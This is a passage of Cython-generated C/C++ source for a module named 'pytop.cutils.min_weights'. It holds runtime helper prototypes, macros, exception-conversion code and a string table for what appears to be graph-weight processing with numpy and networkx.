offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) #define __Pyx_PyFrame_GetLocalsplus(frame)\ (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) #endif /* PyObjectCall.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); #else #define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) #endif /* PyObjectCall2Args.proto */ static CYTHON_UNUSED PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); /* PyObjectCallMethO.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); #endif /* PyObjectCallOneArg.proto */ static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); /* RaiseArgTupleInvalid.proto */ static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); /* RaiseDoubleKeywords.proto */ static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); /* ParseKeywords.proto */ static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[],\ PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args,\ const char* function_name); /* PyObjectCallNoArg.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); #else #define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL) #endif /* RaiseTooManyValuesToUnpack.proto */ static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected); /* RaiseNeedMoreValuesToUnpack.proto */ static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index); /* IterFinish.proto */ static CYTHON_INLINE int __Pyx_IterFinish(void); /* UnpackItemEndCheck.proto */ static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected); /* pyobject_as_double.proto */ static double __Pyx__PyObject_AsDouble(PyObject* obj); #if CYTHON_COMPILING_IN_PYPY #define __Pyx_PyObject_AsDouble(obj)\ (likely(PyFloat_CheckExact(obj)) ? PyFloat_AS_DOUBLE(obj) :\ likely(PyInt_CheckExact(obj)) ?\ PyFloat_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) #else #define __Pyx_PyObject_AsDouble(obj)\ ((likely(PyFloat_CheckExact(obj))) ?\ PyFloat_AS_DOUBLE(obj) : __Pyx__PyObject_AsDouble(obj)) #endif /* PyObjectSetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS #define __Pyx_PyObject_DelAttrStr(o,n) __Pyx_PyObject_SetAttrStr(o, n, NULL) static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value); #else #define __Pyx_PyObject_DelAttrStr(o,n) PyObject_DelAttr(o,n) #define __Pyx_PyObject_SetAttrStr(o,n,v) PyObject_SetAttr(o,n,v) #endif /* DictGetItem.proto */ #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); #define __Pyx_PyObject_Dict_GetItem(obj, name)\ (likely(PyDict_CheckExact(obj)) ?\ __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) #else #define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) #define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) #endif /* GetItemInt.proto */ #define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ __Pyx_GetItemInt_Generic(o, to_py_func(i)))) #define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, int wraparound, int boundscheck); #define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, int wraparound, int boundscheck); static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, int wraparound, int boundscheck); /* ObjectGetItem.proto */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject* key); #else #define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) #endif /* ListAppend.proto */ #if CYTHON_USE_PYLIST_INTERNALS && CYTHON_ASSUME_SAFE_MACROS static CYTHON_INLINE int __Pyx_PyList_Append(PyObject* list, PyObject* x) { PyListObject* L = (PyListObject*) list; Py_ssize_t len = Py_SIZE(list); if (likely(L->allocated > len) & likely(len > (L->allocated >> 1))) { Py_INCREF(x); PyList_SET_ITEM(list, len, x); __Pyx_SET_SIZE(list, len + 1); return 0; } return PyList_Append(list, x); } #else #define __Pyx_PyList_Append(L,x) PyList_Append(L,x) #endif /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); #else #define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\ (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) #endif /* SetItemInt.proto */ #define __Pyx_SetItemInt(o, i, v, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_SetItemInt_Fast(o, (Py_ssize_t)i, v, is_list, wraparound, boundscheck) :\ (is_list ? (PyErr_SetString(PyExc_IndexError, "list assignment index out of range"), -1) :\ __Pyx_SetItemInt_Generic(o, to_py_func(i), v))) static int __Pyx_SetItemInt_Generic(PyObject *o, PyObject *j, PyObject *v); static CYTHON_INLINE int __Pyx_SetItemInt_Fast(PyObject *o, Py_ssize_t i, PyObject *v, int is_list, int wraparound, int boundscheck); /* ArgTypeTest.proto */ #define __Pyx_ArgTypeTest(obj, type, none_allowed, name, exact)\ ((likely((Py_TYPE(obj) == type) | (none_allowed && (obj == Py_None)))) ? 1 :\ __Pyx__ArgTypeTest(obj, type, name, exact)) static int __Pyx__ArgTypeTest(PyObject *obj, PyTypeObject *type, const char *name, int exact); /* None.proto */ static CYTHON_INLINE long __Pyx_div_long(long, long); /* UnaryNegOverflows.proto */ #define UNARY_NEG_WOULD_OVERFLOW(x)\ (((x) < 0) & ((unsigned long)(x) == 0-(unsigned long)(x))) /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_SubtractObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); #else #define __Pyx_PyInt_SubtractObjC(op1, op2, intval, inplace, zerodivision_check)\ (inplace ? PyNumber_InPlaceSubtract(op1, op2) : PyNumber_Subtract(op1, op2)) #endif /* FetchCommonType.proto */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); /* CythonFunctionShared.proto */ #define __Pyx_CyFunction_USED 1 #define __Pyx_CYFUNCTION_STATICMETHOD 0x01 #define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 #define __Pyx_CYFUNCTION_CCLASS 0x04 #define __Pyx_CyFunction_GetClosure(f)\ (((__pyx_CyFunctionObject *) (f))->func_closure) #define __Pyx_CyFunction_GetClassObj(f)\ (((__pyx_CyFunctionObject *) (f))->func_classobj) #define __Pyx_CyFunction_Defaults(type, f)\ ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) #define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) typedef struct { PyCFunctionObject func; #if PY_VERSION_HEX < 0x030500A0 PyObject *func_weakreflist; #endif PyObject *func_dict; PyObject *func_name; PyObject *func_qualname; PyObject *func_doc; PyObject *func_globals; PyObject *func_code; PyObject *func_closure; PyObject *func_classobj; void *defaults; int defaults_pyobjects; size_t defaults_size; // used by FusedFunction for copying defaults int flags; PyObject *defaults_tuple; PyObject *defaults_kwdict; PyObject *(*defaults_getter)(PyObject *); PyObject *func_annotations; } __pyx_CyFunctionObject; static PyTypeObject *__pyx_CyFunctionType = 0; #define __Pyx_CyFunction_Check(obj) (__Pyx_TypeCheck(obj, __pyx_CyFunctionType)) static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *self, PyObject *module, PyObject *globals, PyObject* code); static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, size_t size, int pyobjects); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, PyObject *tuple); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, PyObject *dict); static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, PyObject *dict); static int __pyx_CyFunction_init(void); /* CythonFunction.proto */ static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, PyObject *closure, PyObject *module, PyObject *globals, PyObject* code); /* PyObjectLookupSpecial.proto */ #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject* __Pyx_PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name) { PyObject *res; PyTypeObject *tp = Py_TYPE(obj); #if PY_MAJOR_VERSION < 3 if (unlikely(PyInstance_Check(obj))) return __Pyx_PyObject_GetAttrStr(obj, attr_name); #endif res = _PyType_Lookup(tp, attr_name); if (likely(res)) { descrgetfunc f = Py_TYPE(res)->tp_descr_get; if (!f) { Py_INCREF(res); } else { res = f(res, obj, (PyObject *)tp); } } else { PyErr_SetObject(PyExc_AttributeError, attr_name); } return res; } #else #define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) #endif /* GetTopmostException.proto */ #if CYTHON_USE_EXC_INFO_STACK static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); #endif /* PyThreadStateGet.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; #define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; #define __Pyx_PyErr_Occurred() __pyx_tstate->curexc_type #else #define __Pyx_PyThreadState_declare #define __Pyx_PyThreadState_assign #define __Pyx_PyErr_Occurred() PyErr_Occurred() #endif /* SaveResetException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); #else #define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) #define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) #endif /* GetException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); #endif /* PyErrFetchRestore.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) #define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) #define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #if CYTHON_COMPILING_IN_CPYTHON #define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) #else #define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) #endif #else #define __Pyx_PyErr_Clear() PyErr_Clear() #define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) #define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) #define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) #define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) #endif /* IncludeStringH.proto */ #include <string.h> /* PyObject_GenericGetAttrNoDict.proto */ #if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); #else #define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr #endif /* Import.proto */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); /* ImportFrom.proto */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); /* SetNameInClass.proto */ #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 #define __Pyx_SetNameInClass(ns, name, value)\ (likely(PyDict_CheckExact(ns)) ? _PyDict_SetItem_KnownHash(ns, name, value, ((PyASCIIObject *) name)->hash) : PyObject_SetItem(ns, name, value)) #elif CYTHON_COMPILING_IN_CPYTHON #define __Pyx_SetNameInClass(ns, name, value)\ (likely(PyDict_CheckExact(ns)) ? PyDict_SetItem(ns, name, value) : PyObject_SetItem(ns, name, value)) #else #define __Pyx_SetNameInClass(ns, name, value) PyObject_SetItem(ns, name, value) #endif /* CalculateMetaclass.proto */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); /* Py3ClassCreate.proto */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc); static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); /* CLineInTraceback.proto */ #ifdef CYTHON_CLINE_IN_TRACEBACK #define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) #else static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); #endif /* CodeObjectCache.proto */ typedef struct { PyCodeObject* code_object; int code_line; } __Pyx_CodeObjectCacheEntry; struct __Pyx_CodeObjectCache { int count; int max_count; __Pyx_CodeObjectCacheEntry* entries; }; static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); static PyCodeObject *__pyx_find_code_object(int code_line); static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); /* AddTraceback.proto */ static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename); /* GCCDiagnostics.proto */ #if defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) #define __Pyx_HAS_GCC_DIAGNOSTIC #endif /* CppExceptionConversion.proto */ #ifndef __Pyx_CppExn2PyErr #include <new> #include <typeinfo> #include <stdexcept> #include <ios> static void __Pyx_CppExn2PyErr() { try { if (PyErr_Occurred()) ; // let the latest Python exn pass through and ignore the current one else throw; } catch (const std::bad_alloc& exn) { PyErr_SetString(PyExc_MemoryError, exn.what()); } catch (const std::bad_cast& exn) { PyErr_SetString(PyExc_TypeError, exn.what()); } catch (const std::bad_typeid& exn) { PyErr_SetString(PyExc_TypeError, exn.what()); } catch (const std::domain_error& exn) { PyErr_SetString(PyExc_ValueError, exn.what()); } catch (const std::invalid_argument& exn) { PyErr_SetString(PyExc_ValueError, exn.what()); } catch (const std::ios_base::failure& exn) { PyErr_SetString(PyExc_IOError, exn.what()); } catch (const std::out_of_range& exn) { PyErr_SetString(PyExc_IndexError, exn.what()); } catch (const std::overflow_error& exn) { PyErr_SetString(PyExc_OverflowError, exn.what()); } catch (const std::range_error& exn) { PyErr_SetString(PyExc_ArithmeticError, exn.what()); } catch (const std::underflow_error& exn) { PyErr_SetString(PyExc_ArithmeticError, exn.what()); } catch (const std::exception& exn) { PyErr_SetString(PyExc_RuntimeError, exn.what()); } catch (...) { PyErr_SetString(PyExc_RuntimeError, "Unknown exception"); } } #endif /* CIntFromPy.proto */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); /* CIntToPy.proto */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_int(int value); /* CIntFromPy.proto */ static CYTHON_INLINE size_t __Pyx_PyInt_As_size_t(PyObject *); /* CIntToPy.proto */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); /* CIntFromPy.proto */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); /* FastTypeChecks.proto */ #if CYTHON_COMPILING_IN_CPYTHON #define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); #else #define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) #define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) #define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) #endif #define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) /* RaiseException.proto */ static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); /* SwapException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); #endif /* PyObjectGetMethod.proto */ static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); /* PyObjectCallMethod1.proto */ static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); /* CoroutineBase.proto */ typedef PyObject *(*__pyx_coroutine_body_t)(PyObject *, PyThreadState *, PyObject *); #if CYTHON_USE_EXC_INFO_STACK #define __Pyx_ExcInfoStruct _PyErr_StackItem #else typedef struct { PyObject *exc_type; PyObject *exc_value; PyObject *exc_traceback; } __Pyx_ExcInfoStruct; #endif typedef struct { PyObject_HEAD __pyx_coroutine_body_t body; PyObject *closure; __Pyx_ExcInfoStruct gi_exc_state; PyObject *gi_weakreflist; PyObject *classobj; PyObject *yieldfrom; PyObject *gi_name; PyObject *gi_qualname; PyObject *gi_modulename; PyObject *gi_code; PyObject *gi_frame; int resume_label; char is_running; } __pyx_CoroutineObject; static __pyx_CoroutineObject *__Pyx__Coroutine_New( PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, PyObject *name, PyObject *qualname, PyObject *module_name); static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, PyObject *name, PyObject *qualname, PyObject *module_name); static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); static int __Pyx_Coroutine_clear(PyObject *self); static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); static PyObject *__Pyx_Coroutine_Close(PyObject *self); static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); #if CYTHON_USE_EXC_INFO_STACK #define __Pyx_Coroutine_SwapException(self) #define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) #else #define __Pyx_Coroutine_SwapException(self) {\ __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ } #define __Pyx_Coroutine_ResetAndClearException(self) {\ __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ } #endif #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) #else #define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) #endif static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); /* PatchModuleWithCoroutine.proto */ static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); /* PatchGeneratorABC.proto */ static int __Pyx_patch_abc(void); /* Generator.proto */ #define __Pyx_Generator_USED static PyTypeObject *__pyx_GeneratorType = 0; #define __Pyx_Generator_CheckExact(obj) (Py_TYPE(obj) == __pyx_GeneratorType) #define __Pyx_Generator_New(body, code, closure, name, qualname, module_name)\ __Pyx__Coroutine_New(__pyx_GeneratorType, body, code, closure, name, qualname, module_name) static PyObject *__Pyx_Generator_Next(PyObject *self); static int __pyx_Generator_init(void); /* CheckBinaryVersion.proto */ static int __Pyx_check_binary_version(void); /* InitStrings.proto */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /* Module declarations from 'libcpp.vector' */ /* Module declarations from 'libc.string' */ /* Module declarations from 'libcpp.string' */ /* Module declarations from 'libcpp.utility' */ /* Module declarations from 'libcpp.unordered_map' */ /* Module declarations from 'pytop.cutils.min_weights' */ static PyTypeObject *__pyx_ptype_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data = 0; static PyTypeObject *__pyx_ptype_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen = 0; static CYTHON_INLINE PyObject *__pyx_convert_PyObject_string_to_py_std__in_string(std::string const &); /*proto*/ static CYTHON_INLINE PyObject *__pyx_convert_PyUnicode_string_to_py_std__in_string(std::string const &); /*proto*/ static CYTHON_INLINE PyObject *__pyx_convert_PyStr_string_to_py_std__in_string(std::string const &); /*proto*/ static CYTHON_INLINE PyObject *__pyx_convert_PyBytes_string_to_py_std__in_string(std::string const &); /*proto*/ static CYTHON_INLINE PyObject *__pyx_convert_PyByteArray_string_to_py_std__in_string(std::string const &); /*proto*/ static PyObject *__pyx_convert_unordered_map_to_py_std_3a__3a_string____float(std::unordered_map<std::string,float> const &); /*proto*/ #define __Pyx_MODULE_NAME "pytop.cutils.min_weights" extern int __pyx_module_is_main_pytop__cutils__min_weights; int __pyx_module_is_main_pytop__cutils__min_weights = 0; /* Implementation of 'pytop.cutils.min_weights' */ static PyObject *__pyx_builtin_range; static PyObject *__pyx_builtin_min; static PyObject *__pyx_builtin_max; static PyObject *__pyx_builtin_enumerate; static PyObject *__pyx_builtin_zip; static const char __pyx_k_d[] = "d"; static const char __pyx_k_g[] = "g"; static const char __pyx_k_i[] = "i"; static const char __pyx_k_j[] = "j"; static const char __pyx_k_l[] = "l"; static const char __pyx_k_p[] = "p"; static const char __pyx_k_s[] = "s"; static const char __pyx_k_w[] = "w"; static const char __pyx_k_WU[] = "WU"; static const char __pyx_k__2[] = "{},{}"; static const char __pyx_k__6[] = "*"; static const char __pyx_k_ep[] = "ep"; static const char __pyx_k_es[] = "es"; static const char __pyx_k_np[] = "np"; static const char __pyx_k_nx[] = "nx"; static const char __pyx_k_os[] = "os"; static const char __pyx_k__18[] = "_"; static const char __pyx_k_doc[] = "__doc__"; static const char __pyx_k_exp[] = "exp"; static const char __pyx_k_inf[] = "inf"; static const char __pyx_k_max[] = "max"; static const char __pyx_k_min[] = "min"; static const char __pyx_k_row[] = "row"; static const char __pyx_k_sum[] = "sum"; static const char __pyx_k_zip[] = "zip"; static const char __pyx_k_INFO[] = "INFO"; static const char __pyx_k_Pool[] = "Pool"; static const char __pyx_k_args[] = "args"; static const char __pyx_k_data[] = "data"; static const char __pyx_k_exit[] = "__exit__"; static const char __pyx_k_idxs[] = "idxs"; static const char __pyx_k_init[] = "__init__"; static const char __pyx_k_join[] = "join"; static const char __pyx_k_main[] = "__main__"; static const char __pyx_k_name[] = "__name__"; static const char __pyx_k_path[] = "path"; static const char __pyx_k_pool[] = "pool"; static const char __pyx_k_prob[] = "prob"; static const char __pyx_k_self[] = "self"; static const char __pyx_k_send[] = "send"; static const char __pyx_k_test[] = "__test__"; static const char __pyx_k_DEBUG[] = "DEBUG"; static const char __pyx_k_close[] = "close"; static const char __pyx_k_edges[] = "edges"; static const char __pyx_k_enter[] = "__enter__"; static const char __pyx_k_graph[] = "graph"; static const char __pyx_k_names[] = "names"; static const char __pyx_k_nodes[] = "nodes"; static const char __pyx_k_numpy[] = "numpy"; static const char __pyx_k_range[] = "range"; static const char __pyx_k_raw_w[] = "raw_w"; static const char __pyx_k_throw[] = "throw"; static const char __pyx_k_Logger[] = "Logger"; static const char __pyx_k_arange[] = "arange"; static const char __pyx_k_encode[] = "encode"; static const char __pyx_k_format[] = "format"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_module[] = "__module__"; static const char __pyx_k_name_2[] = "name"; static const char __pyx_k_parser[] = "parser"; static const char __pyx_k_slicer[] = "slicer"; static const char __pyx_k_target[] = "target"; static const char __pyx_k_EPSILON[] = "_EPSILON"; static const char __pyx_k_delta_w[] = "delta_w"; static const char __pyx_k_gpickle[] = ".gpickle"; static const char __pyx_k_logging[] = "logging"; static const char __pyx_k_prepare[] = "__prepare__"; static const char __pyx_k_softmax[] = "softmax"; static const char __pyx_k_distance[] = "distance"; static const char __pyx_k_exist_ok[] = "exist_ok"; static const char __pyx_k_handlers[] = "handlers"; static const char __pyx_k_makedirs[] = "makedirs"; static const char __pyx_k_maxBytes[] = "maxBytes"; static const char __pyx_k_n_graphs[] = "n_graphs"; static const char __pyx_k_networkx[] = "networkx"; static const char __pyx_k_qualname[] = "__qualname__"; static const char __pyx_k_setLevel[] = "setLevel"; static const char __pyx_k_Formatter[] = "Formatter"; static const char __pyx_k_Processor[] = "Processor"; static const char __pyx_k_enumerate[] = "enumerate"; static const char __pyx_k_file_path[] = "file_path"; static const char __pyx_k_formatter[] = "formatter"; static const char __pyx_k_getLogger[] = "getLogger"; static const char __pyx_k_metaclass[] = "__metaclass__"; static const char __pyx_k_n_threads[] = "n_threads"; static const char __pyx_k_neighbors[] = "neighbors"; static const char __pyx_k_save_path[] = "save_path"; static const char __pyx_k_slice_gen[] = "slice_gen"; static const char __pyx_k_addHandler[] = "addHandler"; static const char __pyx_k_chunk_size[] = "chunk_size"; static const char __pyx_k_backupCount[] = "backupCount"; static const char __pyx_k_concatenate[] = "concatenate"; static const char __pyx_k_file_logger[] = "file_logger"; static const char __pyx_k_likelihoods[] = "likelihoods"; static const char __pyx_k_source_path[] = "source_path"; static 